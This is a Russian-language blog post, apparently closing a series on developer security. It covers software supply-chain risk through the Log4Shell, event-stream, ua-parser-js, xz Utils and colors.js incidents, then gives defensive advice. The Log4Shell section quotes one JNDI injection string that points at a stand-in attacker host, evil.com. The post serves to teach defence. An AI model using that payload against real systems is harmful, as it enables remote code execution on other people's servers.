
Чужой код в вашем проекте
Это последний пост серии. В первом мы разобрали, почему пароль — лишь малая часть безопасности. Во втором — принцип нулевого доверия. В третьем — как дедлайны создают уязвимости. Теперь — о самом неудобном вопросе: что делать, когда большая часть кода в вашей системе написана не вами.
Когда вы последний раз читали исходный код библиотеки перед тем, как добавить её в проект? Не README, не документацию API, а именно код. Скорее всего, никогда. И это нормально — никто так не делает. В этом и проблема.
Современный проект на JavaScript может содержать тысячу зависимостей в node_modules. Проект на Python тянет десятки пакетов, каждый из которых тянет свои. Серверная часть на Java опирается на фреймворки из сотен модулей. Поверх всего — фрагменты, сгенерированные нейросетевыми помощниками, которые вы вставили, потому что они «выглядели правильно».
Вы написали бизнес-логику — сто, двести, тысячу строк. Всё остальное — чужой код, который работает в рабочей среде. Код, которому вы доверяете по умолчанию. Это не упрёк, а констатация факта, с которым живёт вся индустрия.
Как мы здесь оказались
Никто специально не планировал строить индустрию на фундаменте из тысяч неконтролируемых зависимостей. Это произошло через серию разумных решений.
Открытый код победил. И это было хорошо. Зачем писать свой HTTP-клиент, если есть отлаженный, протестированный, поддерживаемый сообществом? Зачем реализовывать криптографию самим, если эксперты уже написали библиотеку, прошедшую аудит?
Менеджеры пакетов сделали зависимости тривиальными. npm install, pip install, go get — одна команда, и чужой код уже в проекте. Барьер входа упал до нуля.
Фреймворки скрыли сложность. React, Django, Spring Boot делают за вас огромную работу. Но внутри каждого тысячи строк и десятки собственных зависимостей. Вы не видите эту сложность, но она есть.
Облака добавили ещё один слой. Вместо своих серверов — AWS, Google Cloud, Azure. Вместо собственной базы данных управляемый PostgreSQL. Вместо самописной аутентификации Auth0 или Firebase. Каждый из этих сервисов — чёрный ящик, которому вы доверяете свои данные.
Нейросети начали писать код. GitHub Copilot, ChatGPT, Claude генерируют код на лету. Это код, основанный на миллионах примеров из интернета, часть которых содержит уязвимости, устаревшие практики или ошибки.
Каждый шаг был рациональным, каждый ускорял разработку. Но вместе они создали систему, где большая часть работающего кода не написана, не проверена и не понята теми, кто его запускает. Феликс Краузе, создатель fastlane, сформулировал это точно: типичное приложение выполняет код от сотен авторов, большинство из которых вы никогда не проверяли.
Мы все доверяем незнакомцам.
Пять атак, которые изменили отношение к зависимостям
Log4Shell: уязвимость, которая спала восемь лет
В декабре 2021 года мир узнал об уязвимости CVE-2021-44228, получившей имя Log4Shell. Она затронула Log4j — библиотеку журналирования для Java, которую используют миллионы приложений.
Суть: Log4j поддерживал подстановку значений из внешних источников в журналируемые строки. Если злоумышленник заставлял приложение записать в журнал специально сформированную строку вроде ${jndi:ldap://evil.com/exploit}, библиотека послушно обращалась по указанному адресу и выполняла полученный код.
Масштаб катастрофы трудно переоценить. Log4j используют Apache Struts, Elasticsearch, Minecraft, десятки продуктов Apple, Amazon, Tesla, Google, Microsoft. Уязвимость существовала с 2013 года — восемь лет — и никто её не замечал. Директор CISA Джен Истерли назвала её «одной из самых серьёзных уязвимостей, которые я видела за всю свою карьеру». CISA выпустила отдельное руководство по реагированию.
Самое показательное: большинство пострадавших организаций даже не знали, что используют Log4j. Библиотека приезжала как транзитивная зависимость — зависимость зависимости. Вы добавляете фреймворк, фреймворк тянет десять библиотек, одна из них тянет Log4j — и вот уже ваше приложение уязвимо.
event-stream: когда сопровождающий устал
В ноябре 2018 года произошла показательная история с npm-пакетом event-stream. Пакет скачивался около двух миллионов раз в неделю. Его автор, Доминик Тарр, поддерживал его годами в свободное время, бесплатно.
В какой-то момент Тарр устал. К нему обратился другой разработчик с предложением взять поддержку на себя. Тарр согласился и передал права на репозиторий. Новый сопровождающий добавил зависимость на свой пакет с зашифрованным вредоносным кодом, нацеленным на кражу криптовалюты из кошельков Copay.
Когда историю раскрыли, Тарр написал:
Я не получаю ничего от поддержки этого проекта. У меня нет ни денег, ни даже славы. Я больше не использую этот код сам. Не знаю, почему я должен был отказывать человеку, который хотел помочь.
Это не история про злого сопровождающего. Это история про системную проблему: критическая инфраструктура интернета держится на добровольцах, которые устали и не получают за свою работу ничего.
ua-parser-js: захват популярного пакета
В октябре 2021 года злоумышленники получили доступ к npm-аккаунту автора пакета ua-parser-js — библиотеки для разбора строк User-Agent. Пакет скачивался около семи миллионов раз в неделю и использовался в Facebook, Amazon, Microsoft, Google, Slack, IBM и тысячах других компаний.
Атакующие опубликовали вредоносные версии, устанавливавшие криптомайнер и троян для кражи паролей. GitHub выпустил предупреждение: любая машина с одной из этих версий должна считаться полностью скомпрометированной. Вредоносные версии провисели несколько часов, но npm-пакеты часто устанавливаются автоматически в конвейерах сборки. Сколько серверов было заражено за это время, точно никто не знает.
xz Utils: бэкдор, который почти удался
Самая изощрённая атака произошла в марте 2024 года. Разработчик под псевдонимом Jia Tan два года методично зарабатывал доверие в проекте xz Utils — библиотеке сжатия, которую используют практически все дистрибутивы Linux.
Jia Tan начал с безобидных правок. Он исправлял ошибки и улучшал документацию, постепенно получил права сопровождающего, а затем внедрил сложнейший бэкдор, позволявший обходить аутентификацию в OpenSSH на системах с systemd.
Бэкдор обнаружил случайно Андрес Фройнд, разработчик PostgreSQL, заметивший странную задержку в 500 мс при SSH-подключениях. Если бы не его любопытство, бэкдор мог попасть в стабильные версии Debian, Ubuntu, Fedora с катастрофическими последствиями.
Учитывая активность за несколько недель, автор либо напрямую вовлечён, либо произошла серьёзная компрометация его системы. К сожалению, последний вариант кажется менее вероятным.
— Андрес Фройнд, из сообщения в рассылке oss-security
colors.js и faker.js: саботаж от автора
В январе 2022 года Марак Сквайрс, автор популярных npm-пакетов colors.js и faker.js, намеренно сломал их. Новые версии выводили бесконечный мусор в консоль и зависали. Сквайрс сделал это в знак протеста. В README он написал:
Я больше не собираюсь поддерживать этот проект бесплатно для компаний из Fortune 500.
Пакет colors.js скачивался более 20 миллионов раз в неделю, его использовали AWS CDK и тысячи других проектов. Это не атака злоумышленника, это действие легитимного автора, имевшего полные права на свой код. Ещё один вектор риска: сопровождающий может просто передумать.
Иллюзия контроля
Код лежит в вашем репозитории, проходит через ваш конвейер сборки, разворачивается на ваших серверах. Но это не значит, что вы его контролируете.
Типичный путь зависимости в систему:
- Автор публикует пакет в npm, PyPI или Maven Central.
- Вы добавляете пакет в
package.jsonилиrequirements.txt. - Менеджер пакетов скачивает его при сборке.
- Код становится частью вашего приложения.
На скольких из этих шагов вы действительно проверяете, что происходит? Обычно ни на одном. Вы не проверяете, что код в npm идентичен коду на GitHub. Не проверяете, что новая версия не добавила чего-то опасного. Не проверяете транзитивные зависимости. Не проверяете, что сопровождающий — всё тот же человек.
Фиксация версий — правильный шаг, но это отсрочка, а не защита. Рано или поздно придётся обновиться, и в этот момент вы снова доверяете.
Ситуацию усугубляет генерация кода нейросетями. GitHub Copilot и аналоги обучены на огромном массиве публичного кода, включая код с уязвимостями. Исследование Стэнфордского университета показало, что разработчики, работающие с нейросетевыми помощниками, чаще пишут небезопасный код и при этом более уверены в его безопасности. Нейросеть не понимает контекст безопасности. Она генерирует статистически вероятный код, который компилируется и «работает», но может использовать устаревшие алгоритмы или содержать опасные паттерны.
Что делать
Полностью устранить риск невозможно. Но существенно его снизить — вполне.
Минимизируйте зависимости. Не добавляйте библиотеку ради одной функции, которую можно написать самим. Каждая зависимость — это поверхность атаки.
Используйте файлы фиксации версий и проверяйте хеши. package-lock.json, poetry.lock, go.sum фиксируют точные версии и контрольные суммы. Это не защита от всего, но защита от случайной подмены.
Настройте автоматический аудит. GitHub Dependabot, Snyk, npm audit отслеживают известные уязвимости в зависимостях. Да, ложные срабатывания раздражают. Но инструменты работают.
Оценивайте зависимости перед добавлением. Сколько у библиотеки сопровождающих? Когда был последний коммит? Сколько открытых проблем? Есть ли политика безопасности? Кто финансирует разработку?
Для критичных зависимостей рассмотрите копирование в репозиторий. Это добавляет работы по обновлению, но даёт контроль.
Подписывайте и проверяйте артефакты. Sigstore, cosign, in-toto — инструменты криптографической подписи артефактов сборки. Это сложнее, но это путь к реальной проверяемости. Google ввела концепцию SLSA — систему уровней зрелости для оценки безопасности цепочки поставок, от базового до полностью верифицируемого.
Критически относитесь к коду от нейросетей. Это не код от эксперта. Это статистически вероятный код, основанный на том, что писали другие. Проверяйте его так же, как проверяли бы код начинающего разработчика.
Итого
Мы прошли путь от «напиши безопасный код» к «построй безопасную систему». От паролей — к принципу нулевого доверия. От технических уязвимостей — к организационному давлению. И наконец — к самому неудобному вопросу: что делать, когда большая часть кода написана не вами.
Ответ неутешителен: современная безопасность — это управление доверием. Вы не можете прочитать весь код, не можете проверить всех авторов и быть уверенными, что транзитивная зависимость седьмого уровня не содержит бэкдор.
Но вы можете осознавать эти риски. Можете минимизировать поверхность атаки. Можете выбирать зависимости осмысленно. Можете настроить инструменты, которые хотя бы предупредят об известных проблемах. Можете думать о происхождении кода, а не только о его функциональности.
Мы ускорили разработку, передав большую часть работы чужому коду. Это было правильное решение. Без него не было бы современной индустрии. Но вместе с кодом мы унаследовали риски. Цепочка доверия стала длиннее, поверхность атаки — шире. И самая уязвимая часть вашей системы может оказаться там, куда вы никогда не заглядывали.
Не потому что вы ошиблись. А потому что доверились.
Это последний пост серии о безопасности для разработчиков. Мы начали с паролей и аутентификации, прошли через принцип нулевого доверия и давление дедлайнов, и закончили там, где заканчивается ваш контроль — на границе с чужим кодом. Безопасность — не чеклист и не набор инструментов. Это способ думать о системах, которые мы строим.
Источники
- Феликс Краузе — «Мы доверяем незнакомцам»
- CISA — руководство по уязвимости Log4j
- CISA — заявление директора Истерли о Log4Shell
- Доминик Тарр — комментарий об инциденте event-stream
- GitHub — предупреждение по ua-parser-js
- Андрес Фройнд — сообщение об обнаружении бэкдора в xz Utils
- Марак Сквайрс — README faker.js (архив)
- Стэнфордский университет — исследование безопасности кода от нейросетей
- Google — SLSA, уровни безопасности цепочки поставок